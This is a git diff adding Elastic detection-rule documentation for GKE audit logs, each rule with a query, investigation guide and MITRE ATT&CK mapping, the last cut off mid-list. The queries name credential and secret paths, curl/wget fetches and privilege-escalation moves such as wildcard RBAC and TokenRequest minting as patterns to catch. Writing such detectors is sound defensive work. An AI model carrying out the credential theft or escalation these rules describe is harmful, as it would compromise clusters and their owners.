+[[prebuilt-rule-8-19-28-gke-pod-exec-sensitive-file-or-credential-path-access]] +=== GKE Pod Exec Sensitive File or Credential Path Access + +Detects successful GKE pod exec sessions where the executed command references high-value host or in-cluster paths: mounted service account or platform tokens, kubelet and control-plane configuration areas, host identity stores, root or home credential directories, common private-key and keystore extensions, process environment dumps, and configuration filenames suggestive of embedded secrets. Attackers with pods/exec often use these one-liners to steal credentials before lateral movement or privilege escalation. A narrow exclusion ignores benign resolv.conf reads. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.credential-access.steal-serviceaccount-token/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: GCP Audit Logs +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Exec Sensitive File or Credential Path Access* + + +This alert fires when a successful pods/exec API call includes a command matching sensitive path or filename +patterns. Review `gcp.audit.labels.command.gke.io/command` for the reconstructed command string. + + +*Possible investigation steps* + + +- Identify the actor (`client.user.email`), source IP, and user agent for the exec caller. +- Map `gcp.audit.resource_name` (namespace/pod) to a workload owner, image, and change history. +- Correlate adjacent activity from the same identity: secret reads, TokenRequest, RBAC writes, or additional execs. +- If host-level paths appear, determine whether the workload is privileged, uses hostPath, or runs on break-glass nodes. + + +*False positive analysis* + + +- Diagnostic images and vendor agents sometimes read kubeconfig-like or credential paths; baseline stable automation. +- Training containers that deliberately demonstrate passwd reads can trigger; scope exceptions to those namespaces. + + +*Response and remediation* + + +- If malicious, end the exec session, isolate the pod or node, rotate credentials that could have been read, and + tighten pods/exec RBAC and admission controls. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.type:start and +event.action:("io.k8s.core.v1.pods.exec.create" or "io.k8s.core.v1.pods.exec.get") and +gcp.audit.labels.command.gke.io/command:( + ( + *.jks* or *.key* or *.keystore* or *.p12* or *.pem* or + */etc/kubernetes/* or */etc/passwd* or */etc/shadow* or */etc/sudoers* or + */home/*/.aws* or */home/*/.azure* or */home/*/.config/gcloud* or */home/*/.kube* or */home/*/.ssh* or + */proc/*/environ* or + */root/.aws* or */root/.azure* or */root/.config/gcloud* or */root/.kube* or */root/.ssh* or + */var/lib/kubelet/* or */var/run/secrets/* or + */etc/*.conf* and (*credential* or *key* or *password* or *secret* or *token*) + ) and not */etc/resolv.conf* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-with-curl-or-wget-to-https.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-with-curl-or-wget-to-https.asciidoc new file mode 100644 index 0000000000..42d20a83a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-pod-exec-with-curl-or-wget-to-https.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-28-gke-pod-exec-with-curl-or-wget-to-https]] +=== GKE Pod Exec with Curl or Wget to HTTPS + +Detects successful GKE pod exec sessions where the executed command implies curl or wget fetching an HTTPS URL. Attackers with pods/exec often run one-liners to stage tooling, pull scripts or binaries, or exfiltrate data over HTTPS—activity that should be rare compared to shells, debuggers, or expected health checks. Common cluster health, localhost, and OIDC/JWKS endpoint patterns are excluded to reduce benign automation noise. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1609/ +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: GCP Audit Logs +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Pod Exec with Curl or Wget to HTTPS* + + +This alert fires when a successful pods/exec API call includes a curl or wget command targeting HTTPS. +Review `gcp.audit.labels.command.gke.io/command` for the full command and destination URL. + + +*Possible investigation steps* + + +- Confirm who may exec into the target namespace: `client.user.email`, source IP, and user agent (kubectl, CI, automation). +- Map `gcp.audit.resource_name` to the pod/workload owner and retrieve the exact command from the alert document. +- Search for adjacent audit events from the same identity: secret reads, additional execs, RBAC changes, or anonymous access. +- If malicious, revoke credentials used for exec, review RoleBindings for pods/exec, and inspect the pod for dropped artifacts. + + +*False positive analysis* + + +- Approved egress or tool-download tests may match; allowlist those identities after validation. +- Some cluster components use HTTPS to kubernetes.default.svc or .well-known endpoints; expand exclusions if needed. + + +*Response and remediation* + + +- Rotate secrets accessible from the pod, cordon or delete the workload if compromised, and tighten RBAC so only + required principals retain pods/exec on sensitive namespaces. + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.type:start and +event.action:("io.k8s.core.v1.pods.exec.create" or "io.k8s.core.v1.pods.exec.get") and +gcp.audit.labels.command.gke.io/command:( + (*curl*https* or *wget*https*) and not ( + */.well-known/jwks.json* or */.well-known/openid-configuration* or + */api/v1/health* or */healthz* or */livez* or */readyz* or + */openid-connect/certs* or */openid/v1/jwks* or + *127.0.0.1* or *kubernetes.default.svc* or *localhost* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-rapid-secret-get-activity-against-multiple-objects.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-rapid-secret-get-activity-against-multiple-objects.asciidoc new file mode 100644 index 0000000000..deb458dc33 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-rapid-secret-get-activity-against-multiple-objects.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-28-gke-rapid-secret-get-activity-against-multiple-objects]] +=== GKE Rapid Secret GET Activity Against Multiple Objects + +Detects an unusual volume of GKE API get requests against multiple distinct Secret objects from the same client fingerprint (user, source IP, and user agent) within the rule lookback window. This can indicate credential access or in-cluster reconnaissance, where a user or token is used to enumerate and retrieve sensitive data such as service account tokens, registry credentials, TLS material, or application configuration. Failed get requests are included and can signal RBAC probing; system service accounts are excluded only when secret reads succeed, since failed secret access by a service account may indicate compromise or misconfiguration worth investigating. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Rapid Secret GET Activity Against Multiple Objects* + + +This rule surfaces clusters of `get` operations on secrets where the same identity and client path +(`client.user.email`, `source.ip`, `user_agent.original`) touch several different secret resource paths within the +lookback window. Allowed and denied outcomes are included: successful reads may indicate harvesting; repeated +failure responses can still signal reconnaissance or RBAC probing. System service accounts and core controllers are +excluded only for successful secret reads, failed attempts from those identities still alert. + + +*Investigation steps* + + +- Inspect `Esql.event_outcome_values` for a mix of success vs failure and whether failures cluster on sensitive namespaces. +- Map the identity to RBAC and namespace scope; review `Esql.gcp_audit_resource_name_values` for high-value targets (tokens, registry + credentials, TLS bundles, application secrets). +- Pivot on the same `source.ip` and user for follow-on API activity (exec, pod create, role changes, broad `list` on secrets). +- Validate against expected automation (CI, GitOps, backup, in-cluster controllers) before treating as malicious. + + +*False positives* + + +- Controllers and Helm may legitimately read many secrets in one window; tune exclusions after baselining known automation. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _index, _version +| where data_stream.dataset == "gcp.audit" + and service.name == "k8s.io" + and event.action == "io.k8s.core.v1.secrets.get" + and source.ip is not null + and client.user.email is not null + and not to_string(source.ip) in ("127.0.0.1", "::1") + and not ( + (client.user.email in ("system:kube-controller-manager", "system:kube-scheduler") or client.user.email like "system:serviceaccount:*") + and event.outcome == "success" + ) + and not gcp.audit.resource_name like "*sh.helm.release.*" +| stats + Esql.gcp_audit_resource_name_count_distinct = count_distinct(gcp.audit.resource_name), + Esql.gcp_audit_resource_name_values = values(gcp.audit.resource_name), + Esql.event_outcome_values = values(event.outcome), + Esql.timestamp_values = values(@timestamp) + by client.user.email, source.ip, user_agent.original +| where Esql.gcp_audit_resource_name_count_distinct >= 3 +| keep client.user.email, source.ip, user_agent.original, Esql.gcp_audit_resource_name_count_distinct, Esql.gcp_audit_resource_name_values, Esql.event_outcome_values, Esql.timestamp_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-rbac-wildcard-elevation-on-existing-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-rbac-wildcard-elevation-on-existing-role.asciidoc new file mode 100644 index 0000000000..d1d0a7494e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-rbac-wildcard-elevation-on-existing-role.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-28-gke-rbac-wildcard-elevation-on-existing-role]] +=== GKE RBAC Wildcard Elevation on Existing Role + +Flags an existing GKE Role or ClusterRole being changed (patch or update) so the effective rules become cluster-admin-like: wildcard on every API resource and wildcard on every verb. That is usually a deliberate privilege expansion, not a typo. GKE audit logs with response body capture are required so the detection reads the merged role after apply; loopback source IPs are ignored. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE RBAC Wildcard Elevation on Existing Role* + + +Someone patched or updated a Role or ClusterRole so the stored rules grant star verbs and star resources—near +cluster-admin breadth on that scope. Confirm the actor (user.email, groups), client, and non-loopback source IP; +then see who can bind that role. + + +*Possible investigation steps* + + +- Diff the role YAML before and after; list RoleBindings and ClusterRoleBindings that reference it and which subjects + gained the widened access. +- Review `gcp.audit.resource_name`, `gcp.audit.response.rules.verbs`, and `gcp.audit.response.rules.resources`. +- In the same window, check secret reads, exec, and further RBAC changes from the same identity. + + +*False positive analysis* + + +- Approved GitOps or vendor upgrades sometimes widen a known ClusterRole; allowlist stable automation when documented. + + +*Response and remediation* + + +- Revert the role, drop unexpected bindings, rotate credentials for the actor, and block future wildcard RBAC outside + governed pipelines (policy-as-code, PR-only RBAC). + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.authorization.rbac.v1.roles.update" or + "io.k8s.authorization.rbac.v1.roles.patch" or + "io.k8s.authorization.rbac.v1.clusterroles.update" or + "io.k8s.authorization.rbac.v1.clusterroles.patch" +) and source.ip:(* and not ("127.0.0.1" or "::1")) and not ( + client.user.email:"system:addon-manager" and + event.action:( + "io.k8s.authorization.rbac.v1.roles.patch" or + "io.k8s.authorization.rbac.v1.clusterroles.patch" + ) +) and +gcp.audit.response.rules.verbs:"*" and gcp.audit.response.rules.resources:"*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-service-account-modified-rbac-objects.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-service-account-modified-rbac-objects.asciidoc new file mode 100644 index 0000000000..c907240f5d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-service-account-modified-rbac-objects.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-28-gke-service-account-modified-rbac-objects]] +=== GKE Service Account Modified RBAC Objects + +Detects write operations performed by GKE service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse or unauthorized privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Service Account Modified RBAC Objects* + + +This rule detects service accounts performing allowed write actions on RBAC resources. Stolen or over-privileged service +account tokens can silently alter authorization to gain or retain elevated access. + + +*Possible investigation steps* + + +- Review `client.user.email`, `event.action`, and `gcp.audit.resource_name`. +- Trace the acting service account to its owning workload and inspect recent image changes or exec activity. +- Correlate with change tickets or GitOps commits for the same RBAC object. + + +*False positive analysis* + + +- Platform operators and GitOps controllers running in-cluster commonly create or patch RBAC objects. + + +*Response and remediation* + + +- Revert unauthorized RBAC changes, rotate the service account credentials, and tighten RBAC for the workload. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +client.user.email:(system\:serviceaccount\:* and not ( + "system:serviceaccount:kube-system:clusterrole-aggregation-controller" or + "system:serviceaccount:kube-system:generic-garbage-collector" +)) and event.action:( + "io.k8s.authorization.rbac.v1.clusterrolebindings.create" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.delete" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.patch" or + "io.k8s.authorization.rbac.v1.clusterrolebindings.update" or + "io.k8s.authorization.rbac.v1.clusterroles.create" or + "io.k8s.authorization.rbac.v1.clusterroles.delete" or + "io.k8s.authorization.rbac.v1.clusterroles.patch" or + "io.k8s.authorization.rbac.v1.clusterroles.update" or + "io.k8s.authorization.rbac.v1.rolebindings.create" or + "io.k8s.authorization.rbac.v1.rolebindings.delete" or + "io.k8s.authorization.rbac.v1.rolebindings.patch" or + "io.k8s.authorization.rbac.v1.rolebindings.update" or + "io.k8s.authorization.rbac.v1.roles.create" or + "io.k8s.authorization.rbac.v1.roles.delete" or + "io.k8s.authorization.rbac.v1.roles.patch" or + "io.k8s.authorization.rbac.v1.roles.update" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-service-account-token-created-via-tokenrequest-api.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-service-account-token-created-via-tokenrequest-api.asciidoc new file mode 100644 index 0000000000..a75bf0624c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-service-account-token-created-via-tokenrequest-api.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-28-gke-service-account-token-created-via-tokenrequest-api]] +=== GKE Service Account Token Created via TokenRequest API + +Detects creation of a GKE service account token through the TokenRequest API by a non-system identity. TokenRequest allows programmatic minting of short-lived tokens for any service account the caller can create tokens for, without reading a mounted projected token from disk. Attackers with initial cluster access can abuse this API to obtain tokens for more privileged service accounts, pivot via Workload Identity to GCP APIs, or retain access after pod termination. Unlike filesystem token theft, TokenRequest activity is visible only in Kubernetes audit logs as create against the serviceaccounts/token subresource. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-v1/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.persistence.create-token/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Service Account Token Created via TokenRequest API* + + +This alert indicates a successful create against the serviceaccounts/token subresource (TokenRequest API), which issues +a new service account token without a filesystem read. On GKE this can be abused to mint tokens for privileged service +accounts — including those bound through Workload Identity — and pivot to GCP APIs. + + +*Possible investigation steps* + + +- Review `client.user.email`, `source.ip`, and `user_agent.original`. +- Identify the targeted service account from `gcp.audit.resource_name` (typically + `core/v1/namespaces//serviceaccounts//token`). +- Determine which Role or ClusterRoleBindings grant the actor `create` on `serviceaccounts/token`. +- Correlate the same actor and source with follow-on secret reads, pod exec, RBAC changes, or GCP API activity via + Workload Identity. + + +*False positive analysis* + + +- New platform automation that mints projected tokens outside the excluded controllers may match. Allowlist after + confirming expected behavior. + + +*Response and remediation* + + +- If unauthorized, remove or revert RBAC that allows TokenRequest and rotate the affected service account credentials. +- For Workload Identity-linked service accounts, revoke related GCP role sessions and review Cloud Audit Logs in the + same window. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:"io.k8s.core.v1.serviceaccounts.token.create" and +client.user.email:(* and not ( + "system:kube-controller-manager" or + "system:kube-scheduler" or + "system:gke-controller-manager" or + "system:gcp-controller-manager" or + system\:node\:* or + system\:serviceaccount\:kube-system\:* or + system\:serviceaccount\:gke-managed-system\:* or + system\:serviceaccount\:gke-connect\:* or + system\:serviceaccount\:anthos-identity-service\:* +)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-suspicious-assignment-of-controller-service-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-suspicious-assignment-of-controller-service-account.asciidoc new file mode 100644 index 0000000000..90b68ca0b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-suspicious-assignment-of-controller-service-account.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-28-gke-suspicious-assignment-of-controller-service-account]] +=== GKE Suspicious Assignment of Controller Service Account + +Detects a request to attach a built-in kube-controller-manager service account to a pod running in the kube-system namespace on GKE. These service accounts are admin-equivalent and are not normally assigned to arbitrary pods. An attacker who can create pods in kube-system can abuse these tokens for cluster-wide privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/kubernetes-privilege-escalation-excessive-permissions-in-popular-platforms +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/#controller-roles + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Suspicious Assignment of Controller Service Account* + + +This rule flags pod create events in kube-system that assign a built-in kube-controller-manager service account. + + +*Possible investigation steps* + + +- Review `client.user.email`, `gcp.audit.request.spec.serviceAccountName`, and container images. +- Determine whether the pod aligns with expected platform operations. +- Assess permissions of the assigned service account and hunt for follow-on secret or RBAC activity. + + +*False positive analysis* + + +- Built-in controller service accounts should not be mounted on user-created pods. Allowlist known automation by actor if a documented exception exists. + + +*Response and remediation* + + +- Delete suspicious pods, revoke the service account token, and restrict pod create permissions in kube-system. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:"io.k8s.core.v1.pods.create" and gcp.audit.request.metadata.namespace:"kube-system" and +gcp.audit.request.spec.serviceAccountName:( + attachdetach-controller or certificate-controller or cloud-provider or + clusterrole-aggregation-controller or cronjob-controller or daemon-set-controller or deployment-controller or + disruption-controller or endpoint-controller or expand-controller or generic-garbage-collector or + horizontal-pod-autoscaler or job-controller or namespace-controller or node-controller or + persistent-volume-binder or pod-garbage-collector or pv-protection-controller or pvc-protection-controller or + replicaset-controller or replication-controller or resourcequota-controller or root-ca-cert-publisher or + route-controller or service-account-controller or service-controller or statefulset-controller or ttl-controller +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Default Accounts +** ID: T1078.001 +** Reference URL: https://attack.mitre.org/techniques/T1078/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-unusual-sensitive-workload-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-unusual-sensitive-workload-modification.asciidoc new file mode 100644 index 0000000000..fc16592f05 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-unusual-sensitive-workload-modification.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-28-gke-unusual-sensitive-workload-modification]] +=== GKE Unusual Sensitive Workload Modification + +Detects the first occurrence of create or patch activity against sensitive GKE workloads (DaemonSets, Deployments, or CronJobs) from an unusual combination of user agent, source IP, and user identity, which may indicate privilege escalation or unauthorized access within the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control +* https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Unusual Sensitive Workload Modification* + + +This new-terms rule alerts on the first create or patch of a DaemonSet, Deployment, or CronJob from a new combination of +`user_agent.original`, `source.ip`, and `client.user.email`. + + +*Possible investigation steps* + + +- Review the audit request for image, command, service account, and privileged settings changes. +- Attribute the actor to its backing identity and validate whether the source network is expected. +- Correlate with RBAC, secret, or exec activity from the same identity. + + +*False positive analysis* + + +- Legitimate on-call changes from new workstations or updated kubectl versions are common in lab clusters. + + +*Response and remediation* + + +- Roll back unauthorized workload changes, revoke the credential used, and tighten RBAC on workload controllers. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and event.outcome:success and user_agent.original:* and client.user.email:(* and not system\:*) and source.ip:* and event.action:(io.k8s.apps.v1.daemonsets.create or io.k8s.apps.v1.daemonsets.patch or io.k8s.apps.v1.deployments.create or io.k8s.apps.v1.deployments.patch or io.k8s.batch.v1.cronjobs.create or io.k8s.batch.v1.cronjobs.patch) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** 